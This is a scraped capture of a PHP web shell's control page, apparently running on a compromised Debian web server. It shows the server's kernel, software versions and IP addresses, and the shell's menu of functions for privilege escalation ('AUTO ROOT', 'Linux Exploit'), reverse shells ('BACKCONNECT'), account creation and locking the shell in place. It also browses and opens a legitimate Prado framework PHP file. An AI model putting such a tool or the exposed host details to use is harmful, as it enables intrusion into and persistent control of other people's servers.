Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 18.224.60.132
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
Web /
UI /
JuiControls /
[ HOME SHELL ]
Name
Size
Permission
Action
IJuiOptions.php
635
B
-rw-r--r--
TJuiAutoComplete.php
12.69
KB
-rw-r--r--
TJuiAutoCompleteEventParameter...
1.32
KB
-rw-r--r--
TJuiAutoCompleteTemplate.php
959
B
-rw-r--r--
TJuiCallbackPageStateTracker.p...
1.47
KB
-rw-r--r--
TJuiControlAdapter.php
2.69
KB
-rw-r--r--
TJuiControlOptions.php
4.72
KB
-rw-r--r--
TJuiDatePicker.php
8.36
KB
-rw-r--r--
TJuiDialog.php
5.4
KB
-rw-r--r--
TJuiDialogButton.php
2.54
KB
-rw-r--r--
TJuiDraggable.php
4.25
KB
-rw-r--r--
TJuiDroppable.php
5.57
KB
-rw-r--r--
TJuiEventParameter.php
2.46
KB
-rw-r--r--
TJuiProgressbar.php
3.63
KB
-rw-r--r--
TJuiResizable.php
4.33
KB
-rw-r--r--
TJuiSelectable.php
6.42
KB
-rw-r--r--
TJuiSelectableTemplate.php
952
B
-rw-r--r--
TJuiSlider.php
4.39
KB
-rw-r--r--
TJuiSortable.php
7.77
KB
-rw-r--r--
TJuiSortableTemplate.php
942
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TJuiControlOptions.php
<?php /** * TJuiControlOptions class file. * * @author Fabio Bas <ctrlaltca@gmail.com> * @link https://github.com/pradosoft/prado * @license https://github.com/pradosoft/prado/blob/master/LICENSE */ namespace Prado\Web\UI\JuiControls; use Prado\Collections\TMap; use Prado\Exceptions\THttpException; use Prado\Exceptions\TConfigurationException; use Prado\Web\Javascripts\TJavaScript; use Prado\Web\Javascripts\TJavaScriptLiteral; use Prado\Web\UI\TControl; /** * TJuiControlOptions interface * * TJuiControlOptions is an helper class that can collect a list of options * for a control. The control must implement {@link IJuiOptions}. * The options are validated againg an array of valid options provided by the control itself. * Since component properties are case insensitive, the array of valid options is used * to ensure the option name has the correct case. * The options array can then get retrieved using {@link toArray} and applied to the jQuery-ui widget. * In addition to the options, this class will render the needed javascript to raise a callback * for any event for which an handler is defined in the control. * * @author Fabio Bas <ctrlaltca@gmail.com> * @since 3.3 */ class TJuiControlOptions { /** * @var TMap map of javascript options. */ protected $_options; /** * @var IJuiOptions&\Prado\Web\UI\TControl parent control. */ private $_control; /** * Constructor. Set the parent control owning these options. * @param \Prado\Web\UI\TControl $control parent control */ public function __construct($control) { $this->setControl($control); } /** * Sets the parent control. * @param \Prado\Web\UI\TControl $control $control * @throws THttpException */ public function setControl($control) { if (!$control instanceof IJuiOptions) { throw new THttpException(500, 'juioptions_control_invalid', $control->getID()); } $this->_control = $control; } /** * Sets a named options with a value. Options are used to store and retrive * named values for the javascript control. * @param string $name option name. * @param mixed $value option value. * @throws THttpException */ public function __set($name, $value) { if ($this->_options === null) { $this->_options = []; } foreach ($this->_control->getValidOptions() as $option) { if (0 == strcasecmp($name, $option)) { $low = strtolower($value); if ($low === 'null') { $this->_options[$option] = null; } elseif ($low === 'true') { $this->_options[$option] = true; } elseif ($low === 'false') { $this->_options[$option] = false; } elseif (is_numeric($value)) { // trick to get float or integer automatically when needed $this->_options[$option] = $value + 0; } elseif (substr($low, 0, 8) == 'function') { $this->_options[$option] = new TJavaScriptLiteral($value); } else { $this->_options[$option] = $value; } return; } } throw new TConfigurationException('juioptions_option_invalid', $this->_control->getID(), $name); } /** * Gets an option named value. Options are used to store and retrive * named values for the base active controls. * @param string $name option name. * @return mixed options value or null if not set. */ public function __get($name) { if ($this->_options === null) { $this->_options = []; } foreach ($this->_control->getValidOptions() as $option) { if (0 == strcasecmp($name, $option) && isset($this->_options[$option])) { return $this->_options[$option]; } } return null; } /** * Only serialize the options itself, not the corresponding parent control. * @return mixed array with the names of all variables of that object that should be serialized. */ public function __sleep() { return ['_options']; } /** * @return array of active control options */ public function toArray() { $ret = ($this->_options === null) ? [] : $this->_options; foreach ($this->_control->getValidEvents() as $event) { if ($this->_control->hasEventHandler('on' . $event)) { $ret[$event] = new TJavaScriptLiteral("function( event, ui ) { Prado.JuiCallback(" . TJavaScript::encode($this->_control->getUniqueID()) . ", " . TJavaScript::encode($event) . ", event, ui, this); }"); } } return $ret; } /** * Raise the specific callback event handler of the target control. * @param mixed $param callback parameters */ public function raiseCallbackEvent($param) { $callbackParam = $param->CallbackParameter; if (isset($callbackParam->event)) { $eventName = 'On' . ucfirst($callbackParam->event); if ($this->_control->hasEventHandler($eventName)) { $this->_control->$eventName( new TJuiEventParameter( $this->_control->getResponse(), $callbackParam->ui ?? null ) ); } } } }
Close